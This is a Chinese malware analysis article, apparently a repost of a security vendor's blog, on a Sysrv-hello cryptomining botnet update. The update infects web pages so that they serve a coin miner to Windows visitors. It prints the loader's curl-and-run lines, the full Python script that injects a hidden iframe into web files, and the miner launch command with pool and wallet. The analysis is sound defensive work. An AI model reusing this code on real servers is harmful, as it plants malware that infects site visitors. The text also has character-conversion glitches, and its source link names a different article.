天天看點

Sysrv-hello再次更新,通過感染網頁檔案提高傳播能力

作者:碼農世界

概述

從去年末到現在,挖礦類型的botnet家族一直活躍,除了新家族不斷出現,一些老家族也頻繁更新,主要是為了提高傳播能力和隐蔽性,我們的 BotMon 系統對此多有檢測[rinfo][z0miner]。最新的案例來自Sysrv-hello,本來近期已經有2家安全公司先後分析過該家族的新變種[1][2],但文章剛出來sysrv的作者就在4月20号再次進行更新,增加了感染網頁的能力,本文對此做一分析。

新子產品a.py和BrowserUpdate.exe

我們知道sysrv能同時感染Linux和Windows系統,其入口為一個腳本檔案,Linux下為bash腳本,最常見的檔案名是ldr.sh,Windows下為PowerShell腳本ldr.ps1,這次更新隻在ldr.sh中檢測到,bash腳本中添加了如下代碼:

curl $cc/BrowserUpdate.exe > /tmp/BrowserUpdate.exe
curl $cc/a.py > /tmp/a.py
python /tmp/a.py &
nohup python /tmp/a.py 1>/dev/null 2>&1 &
           

能看到加了2個新子產品:a.py和BrowserUpdate.exe,其中a.py會被ldr.sh直接執行。

分析下載下傳回來的a.py檔案發現其為一個Python程式,體積并不大,代碼隻有20行:

import os
d = "<iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe>"
for _dir in ["/var", "/usr/local", "/home", "/opt"]:
    for root, dirs, files in os.walk(_dir):
        for i in files:
            path = os.path.join(root, i)
            if os.path.splitext(path)[1] not in [".html", ".php", ".htm", ".jsp", ".asp", ".tpl"]:
                continue
            try:
                with open(path) as f:
                    data = f.read()
                    if (d in data) or ("<head>" not in data):
                        continue
                with open(path, "w") as f:
                    f.write(data.replace("<head>", "<head>"+d))#+'<script async="async" src="//bmst.pw/6034003x100.js"></script>'))
            except:
                continue
            dst = os.path.join(root, "BrowserUpdate.exe")
            os.system("cp -rf /tmp/BrowserUpdate.exe '%s'" % dst)
os.system("rm -rf /tmp/BrowserUpdate.exe")
           

這段代碼的功能是周遊"/var"、"/usr/local"、"/home"和"/opt"目錄,尋找具有".html"、".php"、".htm"、".jsp"、".asp"或者".tpl"字尾的網頁檔案,找到後就在其中插入一段iframe代碼:

<head><iframe src=BrowserUpdate.exe width=1 height=1 frameborder=0></iframe>
           

這樣,如果有人通路修改後的網頁,那麼就會下載下傳并有可能執行BrowserUpdate.exe,是以a.py的功能其實就是通過篡改網頁來傳播BrowserUpdate.exe,下面再來看看這個exe程式為何物。

BrowserUpdate.exe是一個PE32程式,加了UPX殼,VT掃描結果顯示它是CoinMiner類型的惡意程式,該exe運作後會釋放2個64位的PE檔案:

CreateFileW("C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\ModuleInstaller.exe", 0x40000000, 0x0, NULL, 0x2, 0x80, 0x0)
CreateFileW("C:\\DOCUME~1\\ADMINI~1\\LOCALS~1\\Temp\\WinRing0x64.sys", 0x40000000, 0x0, NULL, 0x2, 0x80, 0x0)
           

然後BrowserUpdate.exe會通過如下指令運作釋放的程式:

cmd /c \"%TEMP%\\ModuleInstaller.exe\" --coin monero --donate-level 0 -o xmr-eu2.nanopool.org:14444 -u 41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo
           

上面的指令包含了礦池和錢包資訊,目的是啟動挖礦行為,所釋放的exe和sys其實正好是一組xmrig套件,其中ModuleInstaller.exe為主程式,會加載WinRing0x64.sys驅動,對它們業界早有分析,這裡不再贅述。

總結

通過上面的分析不難看出,Sysrv-hello的這次更新主要是為了提高傳播能力,通過Linux伺服器間接感染Windows機器: 如果被ldr.sh感染的Linux機器為WEB伺服器,不但該機器自身會淪為礦工,其上的網頁檔案也會被篡改,所有通路該伺服器的Windows機器都有感染BrowserUpdate.exe并淪為Sysrv-hello礦工的風險。

考慮到sysrv已經多次更新,我們預計這次更新也隻是中間一環而已,後面應該還會有新的動作,對此我們會保持關注,有新的進展将會及時公布

出處:https://blog.netlab.360.com/wei-xie-kuai-xun-z0miner-zheng-zai-li-yong-elasticsearch-he-jenkins-lou-dong-da-si-chuan-bo/

繼續閱讀